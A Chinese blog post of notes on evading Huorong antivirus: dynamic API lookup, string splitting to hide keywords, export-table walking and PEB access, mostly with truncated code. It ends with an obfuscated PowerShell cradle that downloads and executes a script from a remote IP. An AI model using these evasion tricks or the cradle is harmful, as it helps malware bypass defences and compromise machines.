免杀过火绒思路整理
免杀过火绒思路整理
官方文档
1 | https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect |
大白哥基础码
1 | #include <windows.h> // Windows API 和 一些常量 |
弹计算器
1 | unsigned char buf[] = |
结构
区段 | 内容 |
---|---|
.text |
代码段:main 等 |
.data |
数据段:globalData |
.rdata |
只读数据(字符串常量、导入表等) |
.idata |
导入表 |
一自定义函数
直接使用函数(静态调用)
编译器会在可执行文件的导入表(Import Table)中记录这个函数。
系统在程序启动时自动加载 DLL(比如 kernel32.dll
)并解析函数地址。
用 GetProcAddress + 函数指针(动态调用)
程序运行时才去找函数地址
不在导入表里(更难被静态检测)
自定义函数指针
1 | VirtualAlloc |
1 | typedef LPVOID(WINAPI* aVirtualAlloc)( |
句柄 (Handle) 一个”抽象编号” 操作系统内部用的“编号”,不是地址,不能直接拿来访问内存。
基址 (Base Address) 模块加载到内存的起始地址 一个真实的内存地址,可以直接访问模块内容(比如kernel32.dll的加载地址)。
地址 (Address) 任何一个内存位置 可以是任意对象、函数、数据、变量的内存位置。
句柄类型 | 说明 |
---|---|
HANDLE(比如文件、进程、线程、互斥体) | 是一个 “系统内核对象句柄”,本质是索引或指针,不能直接解引用。 |
HMODULE(模块句柄) | 是一个内存中的真实基址地址,可以直接当作指针来用。 |
rdata段的关键字绕过
编译器通常会对字符串字面量保留在 .rdata(只读数据段)中,这样可以在调试工具或二进制中看到它。
编译器会把它放在 PE 文件的 .rdata
(只读数据)段。
- char kn[] = { ‘k’, ‘e’, ‘r’, ‘n’, ‘e’, ‘l’, ‘3’, ‘2’, ‘.’, ‘d’, ‘l’, ‘l’, 0 };
- char use3[] = { ‘V’, ‘i’, ‘r’, ‘t’, ‘u’, ‘a’, ‘l’, ‘A’, ‘l’, ‘l’, ‘o’, ‘c’, 0 };
二遍历导出表
hModule参数是加载的DLL的基址。这是在进程的地址空间中找到的DLL模块的地址
VA
VA (virtual Address) 虚拟地址的意思 ,
RVA
RVA(relative Virtual Address) 相对虚拟地址偏移
序数
函数的序号是一个整数值,表示该函数在 DLL 中的导出函数表中的位置。导出表被组织为函数指针的 列表(数组),每个函数根据其在表中的位置被分配一个序号值。
1 | #include <Windows.h> |
三内联汇编
基址(Base Address)
- 定义:基址通常指的是一个模块(如 DLL 或 EXE)在内存中的起始地址。它是模块加载到内存时的地址。
- 用途:基址用于计算模块中各个部分(如函数、变量)相对于模块开始加载位置的偏移量。
句柄(Handle)
- 定义:句柄通常是一个由操作系统分配的、用于标识资源(如文件、线程、进程、窗口等)的唯一标识符。
- 用途:句柄用于访问和操作特定的资源。在 Windows API 中,句柄被广泛用于标识和操作各种资源。
PEB 进程环境块
(Process Environment Block)
TEB 线程环境块
线程环境块在进程环境块里,
gs指向线程环境块,线程环境块里有进程环境块的地址(30/60位)
GS
线程环境块指针
_List_Entry链表结构
https://blog.csdn.net/shenjin_s/article/details/79136121
测试
1 | #include<stdio.h> |
http码上线绕过
看看就行
1 | cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.1'+'.1'+'.4'+':80'+'82/1') | p^o^w^e^r^s^h^e^l^l - |
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Comments